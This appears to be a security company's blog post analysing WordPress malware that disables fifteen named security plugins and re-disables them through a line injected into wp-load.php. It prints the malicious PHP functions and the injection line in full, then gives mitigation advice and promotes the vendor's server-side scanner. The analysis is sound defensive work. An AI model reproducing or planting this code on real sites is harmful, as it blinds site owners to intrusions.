An alarm or monitoring system is a great tool that can be used to improve the security of a home or website, but what if an attacker can easily disable it?
I’ve previously written about malware that reverses security hardening measures enacted either manually by the owner, or through the use of a security plugin installed in WordPress. What attackers may find problematic with reverse security hardening is that a security plugin that monitors files can detect any changes and alert the owner via email notification or within the WordPress dashboard.
Unfortunately, PHP malware exists which solves this problem for the attacker by immediately disabling the most commonly used security plugins and preventing them from being reactivated in the WordPress dashboard.
Finding & Deactivating Security Plugins
This GIF shows a WordPress installation with a number of activated plugins, four of which are popular security plugins and two non-security plugins. The animation clearly demonstrates how non-security components are unaffected by the PHP malware but the four security plugins are disabled.
If a user tries to reactivate one of the disabled security plugins, it will momentarily appear to activate only for the malware to immediately disable it again. This behavior will prevail until the malware is fully removed from the compromised environment, making it more difficult to detect malicious behavior on the website.
How It Works
The malware was found within the malicious file ./wp-includes/IXR/class-IXR-cache.php. It starts by assigning the website’s root directory to DIZIN to help obfuscate loading the core WordPress file wp-load.php:
if ( ! defined( 'DIZIN' ) ) { define( 'DIZIN', dirname( __FILE__ ) . '/' ); } require_once( DIZIN ."../../wp-load.php"); ...
The use of require_once to load wp-load.php allows the attacker to use WordPress coding hooks and variables to cleanly disable the security plugins. First, the attacker defines the function findinSecurity which is used later to sort the array containing the plugins.
function findinSecurity($find, $array) { foreach ($find as $value) { if (in_array($value, $array)) { return $value; } } }
Another function that the attacker defines is secList which contains an array of the targeted plugins that will be searched for in the existing plugins and disabled.
function secList(){ $plugins = array( "better-wp-security/better-wp-security.php", "sucuri-scanner/sucuri.php", "wp-security-audit-log/wp-security-audit-log.php", "total-security/total-security.php", "wp-hide-security-enhancer/wp-hide.php", "bulletproof-security/bulletproof-security.php", "wp-simple-firewall/icwp-wpsf.php", "wp-security-policy/wp-content-security-policy.php", "wp-cerber/wp-cerber.php", "defender-security/wp-defender.php", "security-ninja/security-ninja.php", "wordfence/wordfence.php", "cwis-antivirus-malware-detected/cwis-antivirus-malware-detected.php", "ninjafirewall/ninjafirewall.php", "security-antivirus-firewall/index.php"); return $plugins; }
The two functions findinSecurity and secList are then used in the main function active_plugins which uses the WordPress hook get_option(‘active_plugins’) to obtain a list of all active plugins from the WordPress database. It then uses findinSecurity along with the list of targeted security plugins from secList to search the active plugins and disable any that are active using the WordPress hook deactivate_plugins.
function active_plugins() { $the_plugs = get_option('active_plugins'); $findinSecurity = findinSecurity( $the_plugs, secList() ); if(!empty($findinSecurity)){ if ( !function_exists( 'deactivate_plugins' ) ) { require_once DIZIN . '../../wp-admin/includes/plugin.php'; } deactivate_plugins( plugin_basename( findinSecurity( $the_plugs, secList() ))); } } active_plugins();
So, how does the malware automatically disable the targeted security plugins in case anyone should try to reactivate them? It does this by injecting malware into the bottom of the wp-load.php file.
if(file_exists(ABSPATH . WPINC . '/IXR/class-IXR-cache.php')){ require_once( ABSPATH . WPINC . '/IXR/class-IXR-cache.php' ); }
The injection causes wp-load.php to load the malicious file ./wp-includes/IXR/class-IXR-cache.php through the use of require_once. Since wp-load.php is run on every page load on a WordPress website, any reactivated plugins would be easily disabled automatically upon the next page load — regardless of whether it is from the same user or a new visitor on the website’s homepage.
Conclusion & Mitigation Steps
Malware like this clearly demonstrates why it is so important to have a defense in depth security system that is not dependent solely on a plugin.
To help mitigate risk, consider using a server-side scanner that scans the website at the server level. Our server side scanner operates independently of WordPress and can actually be used for most websites, regardless of the software used. In combination with our monitoring service, it will monitor the integrity of your website files and notify you of any changes.
It will also inform you if access to the website’s server should be lost — which can happen if an attacker tries to disable the server-side scanner. It acts as a backup alarm to let you know when your file integrity monitoring has been disabled, so further investigation can be done. The WordPress security plugins do not offer this ability.